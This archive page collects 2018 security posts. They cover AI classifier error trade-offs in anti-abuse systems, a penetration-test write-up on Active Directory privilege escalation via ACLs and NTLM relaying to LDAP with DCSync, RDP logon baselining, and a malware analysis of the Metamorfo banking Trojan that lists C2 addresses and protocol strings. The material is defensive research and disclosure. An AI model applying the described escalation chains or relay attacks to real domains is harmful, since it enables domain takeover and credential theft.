Monthly Archives: April 2018

Interviewed on RSAC TV

I had the pleasure of being interviewed by Eleanor Dallaway, Editor and Publisher – Infosecurity Magazine, on RSA Conference Television (RSAC TV) last week at the annual RSA Security Conference.

In the interview, we spoke of what I had observed on the show floor, the state of the security industry, and I describe my perfect customer in information security.

How to handle mistakes while using AI to block attacks

This post looks at the main difficulties faced while using a classifier to block attacks: handling mistakes and uncertainty such that the overall system remains secure and usable.

At a high level, the main difficulty faced when using a classifier to block attacks is how to handle mistakes. The need to handle errors correctly can be broken down into two challenges: how to strike the right balance between false positives and false negatives, to ensure that your product remains safe when your classifier makes an error; and how to explain why something was blocked, both to inform users and for debugging purposes. This post explore those two challenges in turn.

This post is the third post in a series of four that is dedicated to providing a concise overview of how to use artificial intelligence (AI) to build robust anti-abuse protections. The first post explains why AI is key to build robust anti-defenses that keep up with user expectations and increasingly sophisticated attackers. Following the natural progression of building and launching an AI-based defense system, the second post covers the challenges related to training and the fourth and final post looks at how attackers go about attacking AI-based defenses.

This series of posts is modeled after the talk I gave at RSA 2018 . Here is a re-recording of this talk:

You can also get the slides here.

Disclaimer: This series is intended as an overview for everyone interested in the subject of harnessing AI for anti-abuse defense, and it is a potential blueprint for those who are making the jump. Accordingly, this series focuses on providing a clear high-level summary, deliberately not delving into technical details. That being said, if you are an expert, I am sure you will find ideas and techniques that you haven’t heard about before, and hopefully you will be inspired to explore them further.

Let’s get started!

Striking the right balance between false positives and false negatives

The single most important decision you have to make when putting a classifier in production is how to balance your classifier error rates. This decision deeply affects the security and usability of your system. This struggle is best understood through a real-life example, so let’s start by looking at one of the toughest: the account recovery process.

Account Recovery

When a user loses access to their account, they have the option to go through the account recovery process, supply information to prove they are who they claim to be, and get their account access back. At the end of the recovery process the classifier has to decide, based on the information provided and other signals, whether or not to let the person claiming to be the user recover the account.

The key question here is what the classifier should do when it is not clear what the decision should be. Technically, this is done by adjusting the false positive and false negative rates ; this is also known as classifier sensitivity and specificity . There are two options:

  1. Make the classifier cautious, which is to favor reducing false positives (hacker break-in) at the expense of increasing false negatives (legitimate user denied).
  2. Make the classifier optimistic, which is to favor reducing false negatives (legitimate user denied) at the expense of increasing false positives (hacker break-in)

While both types of error are bad, it is clear that for account recovery, letting a hacker break into a user’s account is not an option. Accordingly, for that specific use case, the classifier must be tuned to err on the cautious side. Technically, this means we are willing to reduce the false positive rate at the expense of slightly increasing the false negative rate.

False negative vs False positive

It is important to note that the relation between a false positive and a false negative is not linear, as illustrated in the figure above. In practical terms, this means that the more you reduce one at the expense of the other, the higher your overall error rate will be. There is no free lunch :-)

For example, you might be able to reduce the false negative rate from 0.3% to 0.2% by slightly increasing the false positive rate from 0.3% to 0.42%. However, reducing the false negative rate further, to 0.1%, will increase your false positive rate to a whopping 2%. Those numbers are made up but they do illustrate how the nonlinear relation that exists between false positives and false negatives plays out.

To sum up, the first challenge faced when using classifiers in production to detect attack is that:

In fraud and abuse the margin for error is often nonexistent, and some error types are more costly than others.

This challenge is addressed by paying extra attention to how classifier error rates are balanced, to ensure that your systems are as safe and usable as possible. Here are three key points you need to consider when balancing your classifier:

  1. Use manual reviews:When the stakes are high and the classifier is not confident enough, it might be worth relying on a human to make the final determination.
  2. Adjust your false positive and false negative rates: Skew your model errors in one direction or the other, adjusting it so that it errs on the correct side to keep your product safe.
  3. Implement catch-up mechanisms: No classifier is perfect, so implementing catch-up mechanisms to mitigate the impact of errors is important. Catch-up mechanisms include an appeal system and in-product warnings.

To wrap up this section, let’s consider how Gmail spam classifier errors are balanced.

False negative vs False positive in Gmail

Gmail users really don’t want to miss an important email but are okay with spending a second or two to get rid of spam in their inboxes, provided it doesn’t happen too often. Based on this insight, we made the conscious decision to bias the Gmail spam classifier to ensure that the false positives rate (which means good emails that end up in the spam folder) is as low as possible. Reducing the false positives rate to 0.05% is achieved at the expense of a slightly higher false negatives rate (which means spam in user inboxes) of 0.1%.

Predicting is not explaining

Our second challenge is that being able to predict if something is an attack does not mean you are able to explain why it was detected.

Classification is a binary decision. Explaining it requires additional information.

Fundamentally, dealing with attacks and abuse attempts is a binary decision: you either block something or you don’t. However, in many cases, especially when the classifier makes an error, your users will want to know why something was blocked. Being able to explain how the classifier reached a particular decision requires additional information that must be gathered through additional means.

Here are three potential directions that will allow you to collect the additional information you need to explain your classifier’s decisions.

1. Use similarity to known attacks

Linear relationships

First you can look at how similar a given blocked attack is to known attacks. If it is very similar to one of them, then it is very likely that the blocked attack was a variation of it. Performing this type of explanation is particularly easy when your model uses embedding because you can directly apply distance computation to those embedding to find related items. This has been applied successfully to words and faces for example.

2. Train specialized models

Instead of having a single model that classifies all attacks, you can use a collection of more specialized models that target specific classes of attacks. Splitting the detection into multiple classifiers makes it easier to attribute a decision to a specific attack class because there is a one-to-one mapping between the attack type and the classifier that detected it. Also, in general, specialized models tend to be more accurate and easier to train, so you should rely on those if you can.

3. Leverage model explainability

Attention map example

Last but not least, you can analyze the inner state of the model to glean insights about why a decision was made. As you can see in the screenshot above, for example, a class-specific saliency map (see this recent paper ) helps us to understand which section of the image contributed the most to the decision. Model explainability is a very active field of research and a lot of great tools , techniques and analysis have been released recently.

Cmap

Gmail as an example

Gmail Banner warning

Gmail makes use of explainability to help users understand better why something is in the spam folder and why it is dangerous. As visible in the screenshot above, on top of each a spam email we add a red banner that explains why the email is dangerous, and does so in simple terms meant to be understandable to every user.

Conclusion

Overall this post can be summarized as follow:

Successful applying AI to abuse fighting requires to handle classifier errors is a safe way and be able to understand how a particular decision was reached.

The next post of the serie discusses the various attacks against classifiers and how to mitigate them.

Thank you for reading this post till the end! If you enjoyed it, don’t forget to share it on your favorite social network so that your friends and colleagues can enjoy it too and learn about AI and anti-abuse.

To get notified when my next post is online, follow me on Twitter , Facebook , Google+ , or LinkedIn . You can also get the full posts directly in your inbox by subscribing to the mailing list or via RSS .

A bientôt!

Escalating privileges with ACLs in Active Directory

Researched and written by Rindert Kramer and Dirk-jan Mollema

Introduction

During internal penetration tests, it happens quite often that we manage to obtain Domain Administrative access within a few hours. Contributing to this are insufficient system hardening and the use of insecure Active Directory defaults. In such scenarios publicly available tools help in finding and exploiting these issues and often result in obtaining domain administrative privileges. This blogpost describes a scenario where our standard attack methods did not work and where we had to dig deeper in order to gain high privileges in the domain. We describe more advanced privilege escalation attacks using Access Control Lists and introduce a new tool called Invoke-Aclpwn and an extension to ntlmrelayx that automate the steps for this advanced attack.

AD, ACLs and ACEs

As organizations become more mature and aware when it comes to cyber security, we have to dig deeper in order to escalate our privileges within an Active Directory (AD) domain. Enumeration is key in these kind of scenarios. Often overlooked are the Access Control Lists (ACL) in AD.An ACL is a set of rules that define which entities have which permissions on a specific AD object. These objects can be user accounts, groups, computer accounts, the domain itself and many more. The ACL can be configured on an individual object such as a user account, but can also be configured on an Organizational Unit (OU), which is like a directory within AD. The main advantage of configuring the ACL on an OU is that when configured correctly, all descendent objects will inherit the ACL.The ACL of the Organizational Unit (OU) wherein the objects reside, contains an Access Control Entry (ACE) that defines the identity and the corresponding permissions that are applied on the OU and/or descending objects.The identity that is specified in the ACE does not necessarily need to be the user account itself; it is a common practice to apply permissions to AD security groups. By adding the user account as a member of this security group, the user account is granted the permissions that are configured within the ACE, because the user is a member of that security group.

Group memberships within AD are applied recursively. Let’s say that we have three groups:

  • Group_A
    • Group_B
      • Group_C

Group_C is a member of Group_B which itself is a member of Group_A. When we add Bob as a member of Group_C, Bob will not only be a member of Group_C, but also be an indirect member of Group_B and Group_A. That means that when access to an object or a resource is granted to Group_A, Bob will also have access to that specific resource. This resource can be an NTFS file share, printer or an AD object, such as a user, computer, group or even the domain itself.
Providing permissions and access rights with AD security groups is a great way for maintaining and managing (access to) IT infrastructure. However, it may also lead to potential security risks when groups are nested too often. As written, a user account will inherit all permissions to resources that are set on the group of which the user is a (direct or indirect) member. If Group_A is granted access to modify the domain object in AD, it is quite trivial to discover that Bob inherited these permissions. However, if the user is a direct member of only 1 group and that group is indirectly a member of 50 other groups, it will take much more effort to discover these inherited permissions.

Escalating privileges in AD with Exchange

During a recent penetration test, we managed to obtain a user account that was a member of the Organization Management security group. This group is created when Exchange is installed and provided access to Exchange-related activities. Besides access to these Exchange settings, it also allows its members to modify the group membership of other Exchange security groups, such as the Exchange Trusted Subsystem security group. This group is a member of the Exchange Windows Permissions security group.

grpMembershp

By default, the Exchange Windows Permissions security group has writeDACL permission on the domain object of the domain where Exchange was installed. 1

domain_permission

The writeDACL permissions allows an identity to modify permissions on the designated object (in other words: modify the ACL) which means that by being a member of the Organization Management group we were able to escalate out privileges to that of a domain administrator.
To exploit this, we added our user account that we obtained earlier to the Exchange Trusted Subsystem group. We logged on again (because security group memberships are only loaded during login) and now we were a member of the Exchange Trusted Subsystem group and the Exchange Windows Permission group, which allowed us to modify the ACL of the domain.

If you have access to modify the ACL of an AD object, you can assign permissions to an identity that allows them to write to a certain attribute, such as the attribute that contains the telephone number. Besides assigning read/write permissions to these kinds of attributes, it is also possible to assign permissions to extended rights. These rights are predefined tasks, such as the right of changing a password, sending email to a mailbox and many more2. It is also possible to add any given account as a replication partner of the domain by applying the following extended rights:

  • Replicating Directory Changes
  • Replicating Directory Changes All

When we set these permissions for our user account, we were able to request the password hash of any user in the domain, including that of the krbtgt account of the domain. More information about this privilege escalation technique can be found on the following GitHub page: https://github.com/gdedrouas/Exchange-AD-Privesc

Obtaining a user account that is a member of the Organization Management group is not something that happens quite often. Nonetheless, this technique can be used on a broader basis. It is possible that the Organization Management group is managed by another group. That group may be managed by another group, et cetera. That means that it is possible that there is a chain throughout the domain that is difficult to discover but, if correlated correctly, might lead to full compromise of the domain.

To help exploit this chain of security risks, Fox-IT wrote two tools. The first tool is written in PowerShell and can be run within or outside an AD environment. The second tool is an extension to the ntlmrelayx tool. This extension allows the attacker to relay identities (user accounts and computer accounts) to Active Directory and modify the ACL of the domain object.

Invoke-ACLPwn

Invoke-ACLPwn is a Powershell script that is designed to run with integrated credentials as well as with specified credentials. The tool works by creating an export with SharpHound3 of all ACLs in the domain as well as the group membership of the user account that the tool is running under. If the user does not already have writeDACL permissions on the domain object, the tool will enumerate all ACEs of the ACL of the domain. Every identity in an ACE has an ACL of its own, which is added to the enumeration queue. If the identity is a group and the group has members, every group member is added to the enumeration queue as well. As you can imagine, this takes some time to enumerate but could end up with a chain to obtain writeDACL permission on the domain object.

help

When the chain has been calculated, the script will then start to exploit every step in the chain:

  • The user is added to the necessary groups
  • Two ACEs are added to the ACL of the domain object:
    • Replicating Directory Changes
    • Replicating Directory Changes All
  • Optionally, Mimkatz’ DCSync feature is invoked and the hash of the given user account is requested. By default the krbtgt account will be used.

After the exploitation is done, the script will remove the group memberships that were added during exploitation as well as the ACEs in the ACL of the domain object.

To test the script, we created 26 security groups. Every group was member of another group (testgroup_a was a member of testgroup_b, which itself was a member of testgroup_c, et cetera, up until testgroup_z.)
The security group testgroup_z had the permission to modify the membership of the Organization Management security group. As written earlier, this group had the permission to modify the group membership of the Exchange Trusted Subsystem security group. Being a member of this group will give you the permission to modify the ACL of the domain object in Active Directory.

We now had a chain of 31 links:

  • Indirect member of 26 security groups
  • Permission to modify the group membership of the Organization Management security group
  • Membership of the Organization Management
  • Permission to modify the group membership of the Exchange Trusted Subsystem security group
  • Membership of the Exchange Trusted Subsystem and the Exchange Windows Permission security groups

The result of the tool can be seen in the following screenshot:

exploit

Please note that in this example we used the ACL configuration that was configured
during the installation of Exchange. However, the tool does not rely on Exchange
or any other product to find and exploit a chain.

Currently, only the writeDACL permission on the domain object is enumerated
and exploited. There are other types of access rights such as owner, writeOwner, genericAll, et cetera, that can be exploited on other object as well.
These access rights are explained in depth in this whitepaper by the BloodHound team.
Updates to the tool that also exploit these privileges will be developed and released in the future.
The Invoke-ACLPwn tool can be downloaded from our GitHub here: https://github.com/fox-it/Invoke-ACLPwn

NTLMRelayx

Last year we wrote about new additions to ntlmrelayx allowing relaying to LDAP, which allows for domain enumeration and escalation to Domain Admin by adding a new user to the Directory. Previously, the LDAP attack in ntlmrelayx would check if the relayed account was a member of the Domain Admins or Enterprise Admins group, and escalate privileges if this was the case. It did this by adding a new user to the Domain and adding this user to the Domain Admins group.
While this works, this does not take into account any special privileges that a relayed user might have. With the research presented in this post, we introduce a new attack method in ntlmrelayx. This attack involves first requesting the ACLs of important Domain objects, which are then parsed from their binary format into structures the tool can understand, after which the permissions of the relayed account are enumerated.
This takes into account all the groups the relayed account is a member of (including recursive group memberships). Once the privileges are enumerated, ntlmrelayx will check if the user has high enough privileges to allow for a privilege escalation of either a new or an existing user.
For this privilege escalation there are two different attacks. The first attack is called the ACL attack in which the ACL on the Domain object is modified and a user under the attackers control is granted Replication-Get-Changes-All privileges on the domain, which allows for using DCSync as desribed in the previous sections. If modifying the domain ACL is not possible, the access to add members to several high privilege groups in the domain is considered for a Group attack:

  • Enterprise Admins
  • Domain Admins
  • Backup Operators (who can back up critical files on the Domain Controller)
  • Account Operators (who have control over almost all groups in the domain)

If an existing user was specified using the --escalate-user flag, this user will be given the Replication privileges if an ACL attack can be performed, and added to a high-privilege group if a Group attack is used. If no existing user is specified, the options to create new users are considered. This can either be in the Users container (the default place for user accounts), or in an OrganizationalUnit for which control was delegated to for example IT department members.

One may have noticed that we mentioned relayed accounts here instead of relayed users. This is because the attack also works against computer accounts that have high privileges. An example for such an account is the computer account of an Exchange server, which is a member of the Exchange Windows Permissions group in the default configuration. If an attacker is in a position to convince the Exchange server to authenticate to the attacker’s machine, for example by using mitm6 for a network level attack, privileges can be instantly escalated to Domain Admin.

Relaying Exchange account

The NTDS.dit hashes can now be dumped by using impacket’s secretsdump.py or with Mimikatz:

secretsdump-2

Similarly if an attacker has Administrative privileges on the Exchange Server, it is possible to escalate privilege in the domain without the need to dump any passwords or machine account hashes from the system.
Connecting to the attacker from the NT Authority\SYSTEM perspective and authenticating with NTLM is sufficient to authenticate to LDAP. The screenshot below shows the PowerShell function Invoke-Webrequest being called with psexec.py, which will run from a SYSTEM perspective. The flag -UseDefaultCredentials will enable automatic authentication with NTLM.

psexec-relay

The 404 error here is expected as ntlmrelayx.py serves a 404 page if the relaying attack is complete

It should be noted that relaying attacks against LDAP are possible in the default configuration of Active Directory, since LDAP signing, which partially mitigates this attack, is disabled by default. Even if LDAP signing is enabled, it is still possible to relay to LDAPS (LDAP over SSL/TLS) since LDAPS is considered a signed channel. The only mitigation for this is enabling channel binding for LDAP in the registry.
To get the new features in ntlmrelayx, simply update to the latest version of impacket from GitHub: https://github.com/CoreSecurity/impacket

Recommendation

As for mitigation, Fox-IT has a few recommendations.

Remove dangerous ACLs
Check for dangerous ACLs with tools such as Bloodhound. 3
Bloodhound can make an export of all ACLs in the domain which helps identifying
dangerous ACLs.

Remove writeDACL permission for the Exchange Windows Permissions group
Remove the writeDACL permission for the Exchange Windows Permissions group. The following GitHub page contains a PowerShell script which can assist with this: https://github.com/gdedrouas/Exchange-AD-Privesc

Monitor security groups
Monitor (the membership of) security groups that can have a high impact on the domain, such as the Exchange Trusted Subsystem and the Exchange Windows Permissions.

Audit and monitor changes to the ACL.
Audit changes to the ACL of the domain. If not done already, it may be necessary to modify the domain controller policy. More information about this can be found on the following TechNet article: https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/

When the ACL of the domain object is modified, an event will be created with event ID 5136. The Windows event log can be queried with PowerShell, so here is a one-liner to get all events from the Security event log with ID 5136:

Get-WinEvent -FilterHashtable @{logname='security'; id=5136}

This event contains the account name and the ACL in a Security Descriptor Definition Language (SDDL) format.

event

Since this is unreadable for humans, there is a PowerShell cmdlet in Windows 10,
ConvertFrom-SDDL4, which converts the SDDL string into a more readable ACL object.

sddl

If the server runs Windows Server 2016 as operating system, it is also possible to see the original and modified descriptors. For more information: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4715

With this information you should be able to start an investigation to discover what was modified, when that happened and the reason behind that.

References

[1] https://technet.microsoft.com/en-us/library/ee681663.aspx
[2] https://technet.microsoft.com/en-us/library/ff405676.aspx
[3] https://github.com/BloodHoundAD/SharpHound
[4] https://docs.microsoft.com/en-us/powershell/module/Microsoft.powershell.utility/convertfrom-sddlstring

Establishing a Baseline for Remote Desktop Protocol

For IT staff and Windows power users, Microsoft Terminal Services Remote Desktop Protocol (RDP) is a beneficial tool that allows for the interactive use or administration of a remote Windows system. However, Mandiant consultants have also observed threat actors using RDP, with compromised domain credentials, to move laterally across networks with limited segmentation.

To understand how threat actors take advantage of RDP, consider the following example (and Figure 1):

  1. A staff member from the HR department working on his or her desktop inadvertently installs a malicious backdoor by interacting with a phishing email.
  2. The backdoor malware runs password stealing functionality from Mimikatz to obtain credentials stored in memory for any user accounts that have accessed the system.
  3. The backdoor creates a network tunnel to an attacker’s command and control (C2) server.
  4. The attacker logs on to the HR employee’s system with RDP through the network tunnel by using the compromised credentials.
  5. In pursuit of compromising financial information, the attacker uses Active Directory enumeration commands to identify domain-based systems used by the finance department.
  6. The attacker uses RDP and the compromised HR employee account to connect to a system in the finance department.
  7. The attacker uses Mimikatz to extract credentials on the finance system, resulting in access to  cached passwords for the finance employee who uses the system and an IT administrator who recently logged onto the system for troubleshooting.
  8. Using RDP, the attacker leverages the HR employee’s account, the finance employee’s account, and the IT administrator employee’s account to log onto additional systems in the environment.
  9. The attacker stages data onto the HR employee’s system.
  10. The attacker steals the files via the built-in RDP copy and paste functionality.


Figure 1: Example of a compromise that uses RDP for lateral movement

A best practice used to identify this type of activity is network baselining. To do this, an organization must first understand what is normal behavior for their specific environment, and then begin to configure detections based on unexpected patterns. Sample questions that can help determine practical detection techniques based on the aforementioned scenario include:

  1. Do our HR and/or finance employees typically use RDP?
  2. Do any of our HR employees RDP to a destination system in finance?
  3. Do any of our HR and/or finance employees RDP to multiple destination systems?
  4. Are the systems in our HR and/or finance departments used as source systems for RDP?
  5. Do our IT administrator accounts RDP from a source system that is not part of an IT network segment?
  6. Do any of our critical servers have logons from source systems that are not part of an IT network segment?
  7. Do any of our critical servers have RDP logons sourced from user accounts that are correlated to any of our HR and/or finance personnel?
  8. Is it expected for a single user account to initiate RDP connections from multiple source systems?

While it can take time to develop a customized process to baseline the scope of user accounts, source systems – and destination systems that leverage RDP in your organization’s environment – normalizing and reviewing this data will empower your staff with a deeper understanding of user account behavior, and the ability to detect unexpected activity to quickly begin investigating and triaging.

Tracking RDP through Event Logs

One first step and important resource for identifying your network’s typical behavior is through the use of event logs. RDP logons can generate file, event log, and registry artifacts on both the source and destination systems involved. Page 42 of JPCERT’s reference, “Detecting Lateral Movement through Tracking Event Logs,” details many artifacts that investigators may find on source and destination systems.

For the purpose of scalability, our baselining approach will focus on three high-fidelity logon events recorded on a destination system:

  • EID 21 and EID 25 within the “TerminalServices-LocalSessionManager” log, commonly located at “%systemroot%\Windows\System32\winevt\Logs\Microsoft-TerminalServices-LocalSessionmanager%3Operational.evtx”
  • EID 4624 entries of Type 10 logons within the “Security” log, commonly located at “%systemroot%\Windows\System32\winevt\Logs\Security.evtx”

The EID 21 entry shown in Figure 2 is created on a destination system when a successful interactive local or remote logon event occurs.


Figure 2: EID 21 Example Structure

The EID 25 entry shown in Figure 3 is created on a destination system that has been reconnected from a system that previously established an RDP session that was not terminated through a proper user logout. For example, closing the RDP window (which would generate EID 24), as opposed to logging off through the start menu (which would generate EID 23).


Figure 3: EID 25 Example Structure

The EID 4624 entry is created on a destination system when a logon of any type occurs. For evidence of RDP authentication, we will focus on EID 4624 entries with with Logon Type 10 as shown in Figure 4, which correspond to RDP authentications.


Figure 4: Type 10 EID 4624 Example Structure

These event log entries provide evidence of a successful RDP authentication from one system to another. For most security teams to collect this event log data, the logs must either be forwarded to an aggregation platform, such as a security information and event management (SIEM) platform, or collected using a forensic acquisition utility such as FireEye’s Endpoint Security (HX) appliance. Once extracted, the data must be processed and stacked for frequency analysis. The scope of this post is to generate metrics based on unique user accounts, source systems, and destination systems.

For both EID 21 and EID 25, the user account and source system are captured in the event log strings, while the destination system is the system that recorded the event. Note that the “Source Network Address” recorded within the log may be either a hostname or an IP address. Your data processor may benefit from mapping IP addresses and hostnames together, while keeping Dynamic Host Configuration Protocol (DHCP) leases in mind. Understanding which systems correlate to specific user accounts or business units will greatly benefit the analysis of the processed results. If your organization does not track this information, you should request for this documentation to be created or captured within an asset management database for automated correlation.

Identifying Inconsistencies

Once RDP activity is baselined across your environment via the analysis of event logs, security analysts can then begin to identify RDP activity that deviates from business requirements and normalized patterns. Keep in mind that distinguishing between legitimate and anomalous RDP activity may take time.

Not only will DHCP logs prove useful when mapping IP address to hostnames, but documentation that associates systems and user accounts with specific business units can also help with reviewing and correlating observed RDP activity for suspicious or benign behavior. Any RDP activity inconsistent with expected business practices should be investigated. Additionally, RDP logons confirmed as benign should be noted in the baseline for future investigators.

Leveraging Metrics

By using SIEM correlation techniques, analysts can stack RDP activity by account, source system, and destination system, to pinpoint the number/count of the following metrics-related elements, which will deepen the security staff’s understanding of RDP activity in your network:

  • source systems per user account
  • destination systems per user account
  • user accounts per each source system to destination system path
  • user accounts per each source systems
  • user accounts per each destination system
  • source system to destination system paths per user account
  • total RDP logons per user account
  • total RDP logons per source system
  • total RDP logons per destination system
  • destination systems for each source system
  • source systems for each destination systems

This list of metrics is not exhaustive and can be expanded by including timestamp metadata if desired.

Recommendations

While baselining RDP activity may not readily identify threat actors who do not utilize this technique, or who take extra steps to blend in with legitimate user activity, it will continually help analysts better understand what normal behavior looks like in their specific environments – and could ultimately identify anomalies or potential indicators of unauthorized activity.

The following recommendations can help maximize the effectiveness of your RDP baselining exercises, while also reducing the opportunities for RDP to be leveraged for malicious actors within your environment:

  1. Disable the remote desktop service on end-user workstations and laptops, as well as systems where the service is not required for remote connectivity.
  2. Where connectivity using RDP is required, implement a combination of host and network-based controls to enforce that RDP connectivity must be initiated from specific jump boxes and centralized management servers for remote connection to endpoints.
  3. Host-based firewall rules that explicitly deny inbound RDP connections provide enhanced protections, especially for remote users that may utilize their system at locations outside of an organization’s managed infrastructure. Use host-based firewall rules to:
    • Deny inbound RDP connections by default.
    • When required, explicitly permit inbound RDP only from IP addresses correlating to authorized jump boxes.
  4. Employ the “Deny log on through Remote Desktop Services” security setting to prevent standard users from connecting to endpoints using RDP.
    • Ideally, this setting should also deny RDP access for privileged accounts (e.g. domain administrators, service accounts) on endpoints, as these types of accounts are commonly leveraged by attackers for laterally moving to sensitive systems within an environment.
  5. Prevent the use of RDP using local accounts by:
    • Installing KB2871997, and adding the SID “S-1-5-114: NT AUTHORITY\Local account and member of Administrators group” to the “Deny log on through Remote Desktop Services” security setting on endpoints. This can be accomplished by using Group Policy.
    • Randomizing passwords for the built-in local administrator account on endpoints with a solution such as Microsoft LAPS.
  6. Ensure that EID 21, EID 23, EID 24, and EID 25 within the “TerminalServices LocalSessionManager Operational” event log are being captured and forwarded to a SIEM or log aggregator.
  7. Confirm that EID 4624 within the “Security” event log is being captured and forwarded to a SIEM or log aggregator.
  8. Increase the maximum size of the “TerminalServices LocalSessionManager Operational” and event log to at least 500 MB. This can be accomplished by using Group Policy Preferences (GPP) to modify the “MaxSize” registry value within the registry key “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-TerminalServices-LocalSessionManager/Operational” on endpoints.
  9. Increase the maximum size of the “Security” event log to at least 1 GB.
  10. Monitor for evidence of the “Security” and “TerminalServices LocalSessionManager Operational” event logs being cleared (EID 1102).
  11. Create and regularly update documentation that maps user accounts and hostnames to business units.
  12. Ensure DHCP logs are archived and easily accessible to correlate source system IP addresses with their hostname at the time of a logon event.

Metamorfo Campaigns Targeting Brazilian Users

FireEye Labs recently identified several widespread malspam (malware spam) campaigns targeting Brazilian companies with the goal of delivering banking Trojans. We are referring to these campaigns as Metamorfo. Across the stages of these campaigns, we have observed the use of several tactics and techniques to evade detection and deliver the malicious payload. In this blog post we dissect two of the main campaigns and explain how they work.

Campaign #1

The kill chain starts with an email containing an HTML attachment with a refresh tag that uses a Google URL shortener as the target. Figure 1 shows a sample email, and Figure 2 show the contents of the HTML file.


Figure 1: Malicious Email with HTML Attachment


Figure 2: Contents of HTML File

When the URL is loaded, it redirects the victim to a cloud storage site such as GitHub, Dropbox, or Google Drive to download a ZIP file. An example is shown in Figure 3.


Figure 3: URL Shortener Redirects to Github Link

The ZIP archive contains a malicious portable executable (PE) file with embedded HTML application (HTA). The user has to unzip the archive and double-click the executable for the infection chain to continue. The PE file is a simple HTA script compiled into an executable. When the user double-clicks the executable, the malicious HTA file is extracted to %temp% and executed by mshta.exe.

The HTA script (Figure 4) contains VBS code that fetches a second blob of VBS code encoded in base64 form from hxxp://<redacted>/ilha/pz/logs.php. 


Figure 4: Contents of HTA File

After the second stage of VBS is decoded (Figure 5 and Figure 6), the script downloads the final stage from hxxp://<redacted>/28022018/pz.zip. 


Figure 5: Contents of Decoded VBS


Figure 6: More Contents of Decoded VBS

The downloaded ZIP file contains four files. Two are PE files. One is a legitimate Windows tool, pvk2pfx.exe, that is abused for DLL side-loading. One is the malicious banking Trojan as the DLL.

The VBS code unzips the archive, changes the extension of the legitimate Windows tool from .png to .exe, and renames the malicious DLL as cryptui.dll. The VBS code also creates a file in C:\Users\Public\Administrador\car.dat with random strings. These random strings are used to name the Windows tool, which is then executed. Since this tool depends on a legitimate DLL named cryptui.dll, the search order path will find the malicious Trojan with the same name in the same directory and load it into its process space.

In Q4 of 2017, a similar malspam campaign delivered the same banking Trojan by using an embedded JAR file attached in the email instead of an HTML attachment. On execution, the Java code downloaded a ZIP archive from a cloud file hosting site such as Google Drive, Dropbox, or Github. The ZIP archive contained a legitimate Microsoft tool and the malicious Trojan.

Banking Trojan Analysis

The Trojan expects to be located in the hardcoded directory C:\\Users\\Public\Administrador\\ along with three other files to start execution. As seen in Figure 7, these files are:

  • car.dat (randomly generated name given to Windows tool)
  • i4.dt (VBS script that downloads the same zip file)
  • id (ID given to host)
  • cryptui.dll (malicious Trojan)


Figure 7: Contents of ZIP Archive

Persistence

The string found in the file C:\\Users\\Public\\Administrador\\car.dat is extracted and used to add the registry key Software\Microsoft\Windows\CurrentVersion\Run\<string from car.dat> for persistence, as shown in Figure 8.


Figure 8: Reading from car.dat File

The sample also looks for a file named i4.dt in the same directory and extracts the contents of it, renames the file to icone.vbs, and creates a new persistent key (Figure 9) in \Software\Microsoft\Windows\CurrentVersion\Run to open this file.


Figure 9: Persistence Keys

The VBS code in this file (Figure 10) has the ability to recreate the whole chain and download the same ZIP archive.


Figure 10: Contents of VBS Script

Next, the Trojan searches for several folders in the Program Files directories, including:

  • C:\\Program Files\\AVG
  • C:\\Program Files\\AVAST Software
  • C:\\Program Files\\Diebold\\Warsaw
  • C:\\Program Files\\Trusteer\\Rapport
  • C:\\Program Files\\Java
  • C:\\Program Files (x86)\\scpbrad

If any of the folders are found, this information, along with the hostname and Operating System version, is sent to a hardcoded domain with the hardcoded User-Agent value “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0” in the format shown in Figure 11. The value of AT is “<host_name+OS&MD>=<list of folders found>”.


Figure 11: Network Traffic for Host Enumeration

The sample iterates through the running processes, kills the following, and prevents them from launching:

  • msconfig.exe
  • TASKMGR.exe
  • regedit.exe
  • ccleaner64.exe
  • taskmgr.exe
  • itauaplicativo.exe

Next, it uses GetForegroundWindow to get a handle to the window the user is viewing and GetWindowText to extract the title of the window. The title is compared against a hardcoded list of Brazilian banking and digital coin sites. The list is extensive and includes major organizations and smaller entities alike. 

If any of those names are found and the browser is one of the following, the Trojan will terminate that browser.

  • firefox.exe
  • chrome.exe
  • opera.exe
  • safari.exe

The folder C:\Users\Public\Administrador\logs\ is created to store screenshots, as well as the number of mouse clicks the user has triggered while browsing the banking sites (Figure 12). The screenshots are continuously saved as .jpg images.


Figure 12: Malware Capturing Mouse Clicks

Command and Control

The command and control (C2) server is selected based on the string in the file “id”:

  • al -> '185.43.209[.]182'
  • gr -> '212.237.46[.]6'
  • pz -> '87.98.146[.]34'
  • mn -> ’80.211.140[.]235'

The connection to one of the hosts is then started over raw TCP on port 9999. The command and control communication generally follows the pattern <|Command |>, for example:

  • '<|dispida|>logs>SAVE<' sends the screenshots collected in gh.txt.
  • '<PING>' is sent from C2 to host, and '<PONG>' is sent from host to C2, to keep the connection alive.
  • '<|INFO|>' retrieves when the infection first started based on the file timestamp from car.dat along with '<|>' and the host information.

There were only four possible IP addresses that the sample analyzed could connect to based on the strings found in the file “id”. After further researching the associated infrastructure of the C2 (Figure 13), we were able to find potential number of victims for this particular campaign.

 

Figure 13: Command and Control Server Open Directories

Inside the open directories, we were able to get the following directories corresponding to the different active campaigns. Inside each directory we could find statistics with the number of victims reporting to the C2. As of 3/27/2018, the numbers were:

  • al – 843
  • ap – 879
  • gr – 397
  • kk – 2,153
  • mn – 296
  • pz – 536
  • tm – 187

A diagram summarizing Campaign #1 is shown in Figure 14.


Figure 14: Infection Chain of Campaign #1

Campaign #2

In the second campaign, FireEye Labs observed emails with links to legitimate domains (such as hxxps://s3-ap-northeast-1.amazonaws[.]com/<redacted>/Boleto_Protesto_Mes_Marco_2018.html) or compromised domains (such as hxxps://curetusu.<redacted>-industria[.]site/) that use a refresh tag with a URL shortener as the target. The URL shortener redirects the user to an online storage site, such as Google Drive, Github, or Dropbox, that hosts a malicious ZIP file. A sample phishing email is shown in Figure 15.


Figure 15: Example Phishing Email

The ZIP file contains a malicious executable written in AutoIt (contents of this executable are shown in Figur 16). When executed by the user, it drops a VBS file to a randomly created and named directory (such as C:\mYPdr\TkCJLQPX\HwoC\mYPdr.vbs) and fetches contents from the C2 server.


Figure 16: Contents of Malicious AutoIt Executable

